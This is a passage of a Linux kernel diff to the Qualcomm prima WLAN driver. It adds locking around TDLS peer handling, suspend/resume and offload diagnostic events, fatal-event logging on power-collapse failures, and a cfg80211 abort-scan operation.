hddTdlsPeer_t *pTdlsPeer; - mutex_lock(&pHddCtx->tdls_lock); pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); @@ -15178,9 +17725,28 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, mutex_unlock(&pHddCtx->tdls_lock); } + /* Discard TDLS setup if peer is removed by user app */ + if ((pHddCtx->cfg_ini->fTDLSExternalControl) && + ((SIR_MAC_TDLS_SETUP_REQ == action_code) || + (SIR_MAC_TDLS_SETUP_CNF == action_code) || + (SIR_MAC_TDLS_DIS_REQ == action_code))) { + + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + if (pTdlsPeer && (FALSE == pTdlsPeer->isForcedPeer)) { + mutex_unlock(&pHddCtx->tdls_lock); + hddLog(LOGE, FL("TDLS External Control enabled, but peer " + MAC_ADDRESS_STR " is not forced, so reject the action code %d"), + MAC_ADDR_ARRAY(peer), action_code); + return -EINVAL; + } + mutex_unlock(&pHddCtx->tdls_lock); + } + /* For explicit trigger of DIS_REQ come out of BMPS for successfully receiving DIS_RSP from peer. */ if ((SIR_MAC_TDLS_SETUP_RSP == action_code) || + (SIR_MAC_TDLS_SETUP_CNF== action_code) || (SIR_MAC_TDLS_DIS_RSP == action_code) || (SIR_MAC_TDLS_DIS_REQ == action_code)) { @@ -15227,17 +17793,6 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, goto tx_failed; } - if ((SIR_MAC_TDLS_DIS_REQ == action_code) || - (SIR_MAC_TDLS_DIS_RSP == action_code)) - { - /* for DIS_REQ/DIS_RSP, supplicant don't consider the return status. - * So we no need to wait for tdls_mgmt_comp for sending ack status. - */ - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: tx done for frm %u", __func__, action_code); - return 0; - } - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: Wait for tdls_mgmt_comp. Timeout %u ms", __func__, WAIT_TIME_TDLS_MGMT); @@ -15258,6 +17813,11 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, "%s: LOGP in Progress. Ignore!!!", __func__); return -EAGAIN; } + if (rc <= 0) + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_HDD_TIME_OUT, + TRUE, TRUE); ret = -EINVAL; goto tx_failed; @@ -15490,6 +18050,7 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, hddTdlsPeer_t *pTdlsPeer; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, " %s : NL80211_TDLS_TEARDOWN for " MAC_ADDRESS_STR, __func__, MAC_ADDR_ARRAY(peer)); @@ -15522,6 +18083,8 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, else { wlan_hdd_tdls_indicate_teardown(pAdapter, pTdlsPeer, eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event(eTDLS_TEARDOWN_EXT_CTRL, + pTdlsPeer->peerMac); /* if channel switch is configured, reset the channel for this peer */ if (TRUE == pTdlsPeer->isOffChannelConfigured) @@ -15604,19 +18167,25 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device { VOS_STATUS status; long ret; - tCsrTdlsLinkEstablishParams tdlsLinkEstablishParams; + tCsrTdlsLinkEstablishParams tdlsLinkEstablishParams = { {0}, 0, + 0, 0, 0, 0, 0, 0, {0}, 0, {0} }; WLAN_STADescType staDesc; tANI_U16 numCurrTdlsPeers = 0; hddTdlsPeer_t *connPeer = NULL; tANI_U8 suppChannelLen = 0; + tSirMacAddr peerMac; + int channel; + tTDLSLinkStatus peer_status = eTDLS_LINK_IDLE; VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, " %s : NL80211_TDLS_ENABLE_LINK for " MAC_ADDRESS_STR, __func__, MAC_ADDR_ARRAY(peer)); - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); memset(&staDesc, 0, sizeof(staDesc)); if ( NULL == pTdlsPeer ) { + mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_ERROR, "%s: " MAC_ADDRESS_STR " (oper %d) not exsting. ignored", __func__, MAC_ADDR_ARRAY(peer), (int)oper); @@ -15633,17 +18202,23 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Invalid Staion Index %u " MAC_ADDRESS_STR " failed", __func__, pTdlsPeer->staId, MAC_ADDR_ARRAY(peer)); + mutex_unlock(&pHddCtx->tdls_lock); return -EINVAL; } /* before starting tdls connection, set tdls * off channel established status to default value */ pTdlsPeer->isOffChannelEstablished = FALSE; + + mutex_unlock(&pHddCtx->tdls_lock); + + wlan_hdd_tdls_set_cap(pAdapter, peer, eTDLS_CAP_SUPPORTED); /* TDLS Off Channel, Disable tdls channel switch, when there are more than one tdls link */ numCurrTdlsPeers = wlan_hdd_tdlsConnectedPeers(pAdapter); if (numCurrTdlsPeers == 2) { + mutex_lock(&pHddCtx->tdls_lock); /* get connected peer and send disable tdls off chan */ connPeer = wlan_hdd_tdls_get_connected_peer(pAdapter); if ((connPeer) && @@ -15655,12 +18230,16 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device "TDLS channel switch", __func__); connPeer->isOffChannelEstablished = FALSE; + vos_mem_copy(peerMac, connPeer->peerMac, sizeof (tSirMacAddr)); + channel = connPeer->peerParams.channel; + + mutex_unlock(&pHddCtx->tdls_lock); ret = sme_SendTdlsChanSwitchReq( WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, - connPeer->peerMac, - connPeer->peerParams.channel, + peerMac, + channel, TDLS_OFF_CHANNEL_BW_OFFSET, TDLS_CHANNEL_SWITCH_DISABLE); if (ret != VOS_STATUS_SUCCESS) { @@ -15679,10 +18258,24 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device : -1), (connPeer ? (connPeer->isOffChannelConfigured) : -1)); + mutex_unlock(&pHddCtx->tdls_lock); } } - if (eTDLS_LINK_CONNECTED != pTdlsPeer->link_status) + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + if ( NULL == pTdlsPeer ) { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: " MAC_ADDRESS_STR + " (oper %d) peer got freed in other context. ignored", + __func__, MAC_ADDR_ARRAY(peer), (int)oper); + return -EINVAL; + } + peer_status = pTdlsPeer->link_status; + mutex_unlock(&pHddCtx->tdls_lock); + + if (eTDLS_LINK_CONNECTED != peer_status) { if (IS_ADVANCE_TDLS_ENABLE) { @@ -15707,7 +18300,22 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device ret = wait_for_completion_interruptible_timeout( &pAdapter->tdls_link_establish_req_comp, msecs_to_jiffies(WAIT_TIME_TDLS_LINK_ESTABLISH_REQ)); - if (ret <= 0) + + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + if ( NULL == pTdlsPeer ) { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s %d: " MAC_ADDRESS_STR + " (oper %d) peer got freed in other context. ignored", + __func__, __LINE__, MAC_ADDR_ARRAY(peer), + (int)oper); + return -EINVAL; + } + peer_status = pTdlsPeer->link_status; + mutex_unlock(&pHddCtx->tdls_lock); + + if (ret <= 0 || (peer_status == eTDLS_LINK_TEARING)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, FL("Link Establish Request Failed Status %ld"), @@ -15716,6 +18324,17 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device } } + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); + if ( NULL == pTdlsPeer ) { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: " MAC_ADDRESS_STR + " (oper %d) peer got freed in other context. ignored", + __func__, MAC_ADDR_ARRAY(peer), (int)oper); + return -EINVAL; + } + wlan_hdd_tdls_set_peer_link_status(pTdlsPeer, eTDLS_LINK_CONNECTED, eTDLS_LINK_SUCCESS); @@ -15763,13 +18382,16 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device tdlsInfo = wlan_hdd_get_conn_info(pHddCtx, staId); - /* Initialize initiator wait callback */ - vos_timer_init( + if (!vos_timer_is_initialized( + &pTdlsPeer->initiatorWaitTimeoutTimer)) + { + /* Initialize initiator wait callback */ + vos_timer_init( &pTdlsPeer->initiatorWaitTimeoutTimer, VOS_TIMER_TYPE_SW, wlan_hdd_tdls_initiator_wait_cb, tdlsInfo); - + } wlan_hdd_tdls_timer_restart(pAdapter, &pTdlsPeer->initiatorWaitTimeoutTimer, WAIT_TIME_TDLS_INITIATOR); @@ -15834,10 +18456,15 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device __func__, pTdlsPeer->peerParams.channel); pTdlsPeer->isOffChannelEstablished = TRUE; + vos_mem_copy(peerMac, pTdlsPeer->peerMac, sizeof (tSirMacAddr)); + channel = pTdlsPeer->peerParams.channel; + + mutex_unlock(&pHddCtx->tdls_lock); + ret = sme_SendTdlsChanSwitchReq(WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, - pTdlsPeer->peerMac, - pTdlsPeer->peerParams.channel, + peerMac, + channel, TDLS_OFF_CHANNEL_BW_OFFSET, TDLS_CHANNEL_SWITCH_ENABLE); if (ret != VOS_STATUS_SUCCESS) { @@ -15854,9 +18481,13 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device __func__, numCurrTdlsPeers, pTdlsPeer->isOffChannelSupported, pTdlsPeer->isOffChannelConfigured); + mutex_unlock(&pHddCtx->tdls_lock); } } + else + mutex_unlock(&pHddCtx->tdls_lock); + wlan_hdd_tdls_check_bmps(pAdapter); /* Update TL about the UAPSD masks , to route the packets to firmware */ @@ -15881,6 +18512,14 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device } } } + + /* stop TCP delack timer if TDLS is enable */ + set_bit(WLAN_TDLS_MODE, &pHddCtx->mode); + hdd_manage_delack_timer(pHddCtx); + hdd_wlan_tdls_enable_link_event(peer, + pTdlsPeer->isOffChannelSupported, + pTdlsPeer->isOffChannelConfigured, + pTdlsPeer->isOffChannelEstablished); } break; case NL80211_TDLS_DISABLE_LINK: @@ -16022,6 +18661,11 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: TDLS Peer Station doesn't exist.", __func__); } + if (numCurrTdlsPeers == 0) { + /* start TCP delack timer if TDLS is disable */ + clear_bit(WLAN_TDLS_MODE, &pHddCtx->mode); + hdd_manage_delack_timer(pHddCtx); + } } break; case NL80211_TDLS_TEARDOWN: @@ -16090,7 +18734,6 @@ int wlan_hdd_cfg80211_send_tdls_discover_req(struct wiphy *wiphy, hddLog(VOS_TRACE_LEVEL_INFO, "tdls send discover req: "MAC_ADDRESS_STR, MAC_ADDR_ARRAY(peer)); - #if TDLS_MGMT_VERSION2 return wlan_hdd_cfg80211_tdls_mgmt(wiphy, dev, peer, WLAN_TDLS_DISCOVERY_REQUEST, 1, 0, 0, NULL, 0); @@ -16870,6 +19513,109 @@ int wlan_hdd_cfg80211_suspend_wlan(struct wiphy *wiphy, return ret; } + +#ifdef FEATURE_OEM_DATA_SUPPORT +static void wlan_hdd_cfg80211_oem_data_rsp_ind_new(void *ctx, + void *pMsg, tANI_U32 evLen) +{ + hdd_context_t *pHddCtx = (hdd_context_t *)ctx; + + ENTER(); + + if (wlan_hdd_validate_context(pHddCtx)) { + return; + } + if (!pMsg) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); + return; + } + + send_oem_data_rsp_msg(evLen, pMsg); + + EXIT(); + return; + +} + +void wlan_hdd_cfg80211_oemdata_callback(void *ctx, const tANI_U16 evType, + void *pMsg, tANI_U32 evLen) +{ + hdd_context_t *pHddCtx = (hdd_context_t *)ctx; + + ENTER(); + + if (wlan_hdd_validate_context(pHddCtx)) { + return; + } + + hddLog(VOS_TRACE_LEVEL_INFO, FL("Rcvd Event (%d) evLen %d"), evType, evLen); + + switch(evType) { + case SIR_HAL_START_OEM_DATA_RSP_IND_NEW: + wlan_hdd_cfg80211_oem_data_rsp_ind_new(ctx, pMsg, evLen); + break; + default: + hddLog(VOS_TRACE_LEVEL_ERROR, FL("invalid event type %d "), evType); + break; + } + EXIT(); +} +#endif + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(4,5,0)) || \ + defined(CFG80211_ABORT_SCAN) +/** + * __wlan_hdd_cfg80211_abort_scan() - cfg80211 abort scan api + * @wiphy: Pointer to wiphy + * @wdev: Pointer to wireless device structure + * + * This function is used to abort an ongoing scan + * + * Return: None + */ +static void __wlan_hdd_cfg80211_abort_scan(struct wiphy *wiphy, + struct wireless_dev *wdev) +{ + struct net_device *dev = wdev->netdev; + hdd_adapter_t *adapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + int ret; + + ENTER(); + + if (NULL == adapter) { + hddLog(VOS_TRACE_LEVEL_FATAL, FL("HDD adapter is NULL")); + return; + } + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) + return; + + wlan_hdd_scan_abort(adapter); + + return; +} + +/** + * wlan_hdd_cfg80211_abort_scan - cfg80211 abort scan api + * @wiphy: Pointer to wiphy + * @wdev: Pointer to wireless device structure + * + * Return: None + */ +void wlan_hdd_cfg80211_abort_scan(struct wiphy *wiphy, + struct wireless_dev *wdev) +{ + vos_ssr_protect(__func__); + __wlan_hdd_cfg80211_abort_scan(wiphy, wdev); + vos_ssr_unprotect(__func__); + + return; +} +#endif + /* cfg80211_ops */ static struct cfg80211_ops wlan_hdd_cfg80211_ops = { @@ -16940,5 +19686,9 @@ static struct cfg80211_ops wlan_hdd_cfg80211_ops = .testmode_cmd = wlan_hdd_cfg80211_testmode, #endif .dump_survey = wlan_hdd_cfg80211_dump_survey, +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(4,5,0)) || \ + defined(CFG80211_ABORT_SCAN) + .abort_scan = wlan_hdd_cfg80211_abort_scan, +#endif }; diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_dev_pwr.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_dev_pwr.c index c0c99e7b20b43..275eeaf6d3e86 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_dev_pwr.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_dev_pwr.c @@ -89,11 +89,37 @@ static const hdd_tmLevelAction_t thermalMigrationAction[WLAN_HDD_TM_LEVEL_MAX] = /* TM Level 4, MAX TM level, enter IMPS */ {0, 1, 1000, 500, 10} }; + #ifdef HAVE_WCNSS_SUSPEND_RESUME_NOTIFY static bool suspend_notify_sent; #endif +#ifdef FEATURE_WLAN_DIAG_SUPPORT +/** + * hdd_wlan_suspend_resume_event()- send suspend/resume state + * + * @state: suspend/resume state + * + * This Function send send suspend resume state diag event + * + * Return: void. + */ +void hdd_wlan_suspend_resume_event(uint8_t state) +{ + WLAN_VOS_DIAG_EVENT_DEF(suspend_state, + struct vos_event_suspend); + vos_mem_zero( &suspend_state, + sizeof(suspend_state)); + + suspend_state.state= state; + WLAN_VOS_DIAG_EVENT_REPORT(&suspend_state, + EVENT_WLAN_SUSPEND_RESUME); + +} +#endif + + /*---------------------------------------------------------------------------- @brief Function to suspend the wlan driver. @@ -118,13 +144,33 @@ static int wlan_suspend(hdd_context_t* pHddCtx) VOS_TRACE(VOS_MODULE_ID_HDD,VOS_TRACE_LEVEL_FATAL,"%s: Global VOS_SCHED context is Null",__func__); return 0; } - if(!vos_is_apps_power_collapse_allowed(pHddCtx)) + + if (!pHddCtx->last_suspend_success) + pHddCtx->last_suspend_success = vos_timer_get_system_time(); + + if (!vos_is_apps_power_collapse_allowed(pHddCtx)) { /* Fail this suspend */ - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: Fail wlan suspend: not in IMPS/BMPS", __func__); + pHddCtx->continuous_suspend_fail_cnt++; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + FL("Fail wlan suspend: not in IMPS/BMPS, continuous Failcnt %d"), + pHddCtx->continuous_suspend_fail_cnt); + + /* call fatal event if power collapse fails for + * WLAN_POWER_COLLAPSE_FAIL_THRESHOLD time. + */ + if ((vos_timer_get_system_time() - pHddCtx->last_suspend_success) >= + WLAN_POWER_COLLAPSE_FAIL_THRESHOLD) + { + pHddCtx->last_suspend_success = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_POWER_COLLAPSE_FAIL, + FALSE, TRUE); + } return -EPERM; } - + pHddCtx->continuous_suspend_fail_cnt = 0; /* Suspending MC Thread, Rx Thread and Tx Thread as the platform driver is going to Suspend. */ @@ -158,7 +204,18 @@ static int wlan_suspend(hdd_context_t* pHddCtx) "%s: TX Thread: will still suspend", __func__); goto tx_suspend; } - + /* call fatal event if suspend for + * WLAN_POWER_COLLAPSE_FAIL_THRESHOLD time. + */ + if ((vos_timer_get_system_time() - pHddCtx->last_suspend_success) >= + WLAN_POWER_COLLAPSE_FAIL_THRESHOLD) + { + pHddCtx->last_suspend_success = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_POWER_COLLAPSE_FAIL, + FALSE, TRUE); + } return -ETIME; } @@ -199,6 +256,18 @@ static int wlan_suspend(hdd_context_t* pHddCtx) /* Set the Tx Thread as Resumed */ pHddCtx->isTxThreadSuspended = FALSE; + /* call fatal event if suspend for + * WLAN_POWER_COLLAPSE_FAIL_THRESHOLD time. + */ + if ((vos_timer_get_system_time() - pHddCtx->last_suspend_success) >= + WLAN_POWER_COLLAPSE_FAIL_THRESHOLD) + { + pHddCtx->last_suspend_success = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_POWER_COLLAPSE_FAIL, + FALSE, TRUE); + } return -ETIME; } @@ -249,6 +318,19 @@ static int wlan_suspend(hdd_context_t* pHddCtx) /* Set the Tx Thread as Resumed */ pHddCtx->isTxThreadSuspended = FALSE; + /* call fatal event if suspend for + * WLAN_POWER_COLLAPSE_FAIL_THRESHOLD time. + */ + if ((vos_timer_get_system_time() - pHddCtx->last_suspend_success) >= + WLAN_POWER_COLLAPSE_FAIL_THRESHOLD) + { + pHddCtx->last_suspend_success = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_POWER_COLLAPSE_FAIL, + FALSE, TRUE); + } + return -ETIME; } @@ -258,7 +340,9 @@ static int wlan_suspend(hdd_context_t* pHddCtx) /* Set the Station state as Suspended */ pHddCtx->isWlanSuspended = TRUE; - + pHddCtx->last_suspend_success = 0; + pHddCtx->rx_wow_dump = true; + hdd_wlan_suspend_resume_event(HDD_WLAN_SUSPEND); return 0; } @@ -310,6 +394,7 @@ static void wlan_resume(hdd_context_t* pHddCtx) /* Set the Station state as Suspended */ pHddCtx->isWlanSuspended = FALSE; + hdd_wlan_suspend_resume_event(HDD_WLAN_RESUME); } /*---------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c index e2aec64beadd7..1607774db2cea 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -106,6 +106,32 @@ extern tVOS_CON_MODE hdd_get_conparam ( void ); static struct timer_list ssr_timer; static bool ssr_timer_started; + +#ifdef FEATURE_WLAN_DIAG_SUPPORT +/** + * hdd_wlan_offload_event()- send offloads event + * + * @type: offload type + * @state: enabled or disabled + * + * This Function send offloads enable/disable diag event + * + * Return: void. + */ + +void hdd_wlan_offload_event(uint8_t type, uint8_t state) +{ + WLAN_VOS_DIAG_EVENT_DEF(host_offload, + struct vos_event_offload_req); + vos_mem_zero(&host_offload, sizeof(host_offload)); + + host_offload.offload_type = type; + host_offload.state = state; + + WLAN_VOS_DIAG_EVENT_REPORT(&host_offload, EVENT_OFFLOAD_REQ); +} +#endif /* FEATURE_WLAN_DIAG_SUPPORT */ + //Callback invoked by PMC to report status of standby request void hdd_suspend_standby_cbk (void *callbackContext, eHalStatus status) { @@ -373,7 +399,8 @@ VOS_STATUS hdd_enter_deep_sleep(hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter) hddLog(VOS_TRACE_LEVEL_ERROR, "%s: vos_stop return failed %d", __func__, vosStatus); VOS_ASSERT(0); - VOS_BUG(0); + if (isSsrPanicOnFailure()) + VOS_BUG(0); } pHddCtx->hdd_ps_state = eHDD_SUSPEND_DEEP_SLEEP; @@ -413,7 +440,8 @@ VOS_STATUS hdd_exit_deep_sleep(hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: Failed in vos_start",__func__); - VOS_BUG(0); + if (isSsrPanicOnFailure()) + VOS_BUG(0); goto err_deep_sleep; } @@ -539,6 +567,12 @@ int __wlan_hdd_ipv6_changed(struct notifier_block *nb, (pAdapterNode->pAdapter->device_mode == WLAN_HDD_INFRA_STATION || pAdapterNode->pAdapter->device_mode == WLAN_HDD_P2P_CLIENT)) { + + if (eConnectionState_Associated == + WLAN_HDD_GET_STATION_CTX_PTR + (pAdapterNode->pAdapter)->conn_info.connState) + sme_dhcp_done_ind(pHddCtx->hHal, + pAdapterNode->pAdapter->sessionId); if (pHddCtx->cfg_ini->nEnableSuspend == WLAN_MAP_SUSPEND_TO_MCAST_BCAST_FILTER) { @@ -623,7 +657,7 @@ void hdd_conf_hostoffload(hdd_adapter_t *pAdapter, v_BOOL_t fenable) if (!VOS_IS_STATUS_SUCCESS(vstatus)) { - hddLog(VOS_TRACE_LEVEL_ERROR, + hddLog(VOS_TRACE_LEVEL_INFO, "Failed to enable ARPOFfloadFeature %d", vstatus); } @@ -782,6 +816,7 @@ void hdd_conf_ns_offload(hdd_adapter_t *pAdapter, int fenable) in6_dev = __in6_dev_get(pAdapter->dev); if (NULL != in6_dev) { + read_lock_bh(&in6_dev->lock); list_for_each(p, &in6_dev->addr_list) { if (i >= slot_index) @@ -822,6 +857,7 @@ void hdd_conf_ns_offload(hdd_adapter_t *pAdapter, int fenable) i++; } } + read_unlock_bh(&in6_dev->lock); vos_mem_zero(&offLoadRequest, sizeof(offLoadRequest)); for (i =0; i < slot_index; i++) @@ -860,6 +896,8 @@ void hdd_conf_ns_offload(hdd_adapter_t *pAdapter, int fenable) SIR_IPV6_ADDR_VALID; offLoadRequest.offloadType = SIR_IPV6_NS_OFFLOAD; offLoadRequest.enableOrDisable = SIR_OFFLOAD_ENABLE; + hdd_wlan_offload_event(SIR_IPV6_NS_OFFLOAD, + SIR_OFFLOAD_ENABLE); hddLog (VOS_TRACE_LEVEL_INFO, FL("configuredMcastBcastFilter: %d" @@ -881,7 +919,9 @@ void hdd_conf_ns_offload(hdd_adapter_t *pAdapter, int fenable) FL("Set offLoadRequest with %d"), offLoadRequest.enableOrDisable); } - + hdd_wlan_offload_event( + SIR_OFFLOAD_NS_AND_MCAST_FILTER_ENABLE, + SIR_OFFLOAD_ENABLE); vos_mem_copy(&offLoadRequest.params.hostIpv6Addr, &offLoadRequest.nsOffloadInfo.targetIPv6Addr[0], sizeof(tANI_U8)*SIR_MAC_IPV6_ADDR_LEN); @@ -918,6 +958,8 @@ void hdd_conf_ns_offload(hdd_adapter_t *pAdapter, int fenable) vos_mem_zero((void *)&offLoadRequest, sizeof(tSirHostOffloadReq)); offLoadRequest.enableOrDisable = SIR_OFFLOAD_DISABLE; offLoadRequest.offloadType = SIR_IPV6_NS_OFFLOAD; + hdd_wlan_offload_event(SIR_IPV6_NS_OFFLOAD, + SIR_OFFLOAD_DISABLE); for (i = 0; i < slot_index; i++) { @@ -1026,6 +1068,12 @@ int __wlan_hdd_ipv4_changed(struct notifier_block *nb, (pAdapterNode->pAdapter->device_mode == WLAN_HDD_INFRA_STATION || pAdapterNode->pAdapter->device_mode == WLAN_HDD_P2P_CLIENT)) { + + if (eConnectionState_Associated == + WLAN_HDD_GET_STATION_CTX_PTR + (pAdapterNode->pAdapter)->conn_info.connState) + sme_dhcp_done_ind(pHddCtx->hHal, + pAdapterNode->pAdapter->sessionId); if ((pHddCtx->cfg_ini->nEnableSuspend != WLAN_MAP_SUSPEND_TO_MCAST_BCAST_FILTER) || (!pHddCtx->cfg_ini->fhostArpOffload)) @@ -1116,6 +1164,8 @@ VOS_STATUS hdd_conf_arp_offload(hdd_adapter_t *pAdapter, int fenable) { offLoadRequest.offloadType = SIR_IPV4_ARP_REPLY_OFFLOAD; offLoadRequest.enableOrDisable = SIR_OFFLOAD_ENABLE; + hdd_wlan_offload_event(SIR_IPV4_ARP_REPLY_OFFLOAD, + SIR_OFFLOAD_ENABLE); hddLog(VOS_TRACE_LEVEL_INFO, "%s: Enabled", __func__); @@ -1130,6 +1180,8 @@ VOS_STATUS hdd_conf_arp_offload(hdd_adapter_t *pAdapter, int fenable) hddLog(VOS_TRACE_LEVEL_INFO, "offload: inside arp offload conditional check"); } + hdd_wlan_offload_event(SIR_OFFLOAD_ARP_AND_BCAST_FILTER_ENABLE, + SIR_OFFLOAD_ENABLE); hddLog(VOS_TRACE_LEVEL_INFO, "offload: arp filter programmed = %d", offLoadRequest.enableOrDisable); @@ -1157,7 +1209,7 @@ VOS_STATUS hdd_conf_arp_offload(hdd_adapter_t *pAdapter, int fenable) } else { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("IP Address is not assigned")); + hddLog(VOS_TRACE_LEVEL_WARN, FL("IP Address is not assigned")); return VOS_STATUS_E_AGAIN; } @@ -1168,7 +1220,8 @@ VOS_STATUS hdd_conf_arp_offload(hdd_adapter_t *pAdapter, int fenable) vos_mem_zero((void *)&offLoadRequest, sizeof(tSirHostOffloadReq)); offLoadRequest.enableOrDisable = SIR_OFFLOAD_DISABLE; offLoadRequest.offloadType = SIR_IPV4_ARP_REPLY_OFFLOAD; - + hdd_wlan_offload_event(SIR_IPV4_ARP_REPLY_OFFLOAD, + SIR_OFFLOAD_DISABLE); if (eHAL_STATUS_SUCCESS != sme_SetHostOffload(WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, &offLoadRequest)) @@ -1428,12 +1481,13 @@ void hdd_suspend_wlan(void) if (pHddCtx->hdd_wlan_suspended) { - hddLog(VOS_TRACE_LEVEL_ERROR, + hddLog(VOS_TRACE_LEVEL_INFO, "%s: Ignore suspend wlan, Already suspended!", __func__); return; } pHddCtx->hdd_wlan_suspended = TRUE; + hdd_wlan_suspend_resume_event(HDD_WLAN_EARLY_SUSPEND); hdd_set_pwrparams(pHddCtx); status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); while ( NULL != pAdapterNode && VOS_STATUS_SUCCESS == status ) @@ -1508,7 +1562,8 @@ static void hdd_PowerStateChangedCB /* if the driver was not in BMPS during early suspend, * the dynamic DTIM is now updated at Riva */ if ((newState == BMPS) && pHddCtx->hdd_wlan_suspended - && pHddCtx->cfg_ini->enableDynamicDTIM + && (pHddCtx->cfg_ini->enableDynamicDTIM || + pHddCtx->cfg_ini->enableModulatedDTIM) && (pHddCtx->hdd_ignore_dtim_enabled == FALSE)) { pHddCtx->hdd_ignore_dtim_enabled = TRUE; @@ -1735,6 +1790,7 @@ void hdd_resume_wlan(void) } pHddCtx->hdd_wlan_suspended = FALSE; + hdd_wlan_suspend_resume_event(HDD_WLAN_EARLY_RESUME); /*loop through all adapters. Concurrency */ status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); @@ -1913,13 +1969,18 @@ VOS_STATUS hdd_wlan_shutdown(void) } //Stop the traffic monitor timer - if ( VOS_TIMER_STATE_RUNNING == - 